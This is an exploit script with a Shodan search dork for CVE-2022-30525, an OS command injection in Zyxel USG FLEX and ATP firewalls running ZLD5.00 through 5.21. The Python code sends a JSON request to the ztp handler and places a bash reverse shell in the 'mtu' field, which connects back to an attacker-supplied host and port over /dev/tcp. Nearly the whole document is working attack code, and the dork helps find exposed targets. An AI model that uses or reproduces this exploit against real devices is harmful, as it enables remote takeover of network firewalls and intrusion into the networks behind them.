Zyxel USG FLEX 5.21 Command Injection

# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
# Date: May 18th 2022
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://www.zyxel.com
# Version: ZLD5.00 thru ZLD5.21
# Tested on: Linux
# CVE: CVE-2022-30525


from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import json
import base64
import requests
import argparse


parser = argparse.ArgumentParser(
    prog="CVE-2022-30525.py",
    description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
)
parser.add_argument("-u", dest="url", help="Specify target URL")
parser.add_argument("-r", dest="host", help="Specify Remote host")
parser.add_argument("-p", dest="port", help="Specify Remote port")

args = parser.parse_args()

banner = (
    "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
    "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
    "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
    "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
    "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
    "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
    "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
    "biA6KSApCg=="
)


def main():

    print("n" + base64.b64decode(banner).decode("utf-8"))

    if None in vars(args).values():
        print(f"[!] Please enter all parameters !")
        parser.print_help()
        sys.exit()

    if "http" not in args.url:
        args.url = "https://" + args.url
    args.url += "/ztp/cgi-bin/handler"
    exploit(args.url, args.host, args.port)


def exploit(url, host, port):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
        "Content-Type": "application/json",
    }

    data = {
        "command": "setWanPortSt",
        "proto": "dhcp",
        "port": "4",
        "vlan_tagged": "1",
        "vlanid": "5",
        "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
        "data": "hi",
    }
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    print(f"n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    try:
        response = requests.post(
            url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
        )
    except (KeyboardInterrupt, requests.exceptions.Timeout):
        print("[!] Bye Bye hekcer !")
        sys.exit(1)
    finally:

        try:
            print("[!] Can't exploit the target ! Code :", response.status_code)

        except:
            print("[!] Enjoy your shell !!!")


if __name__ == "__main__":
    main()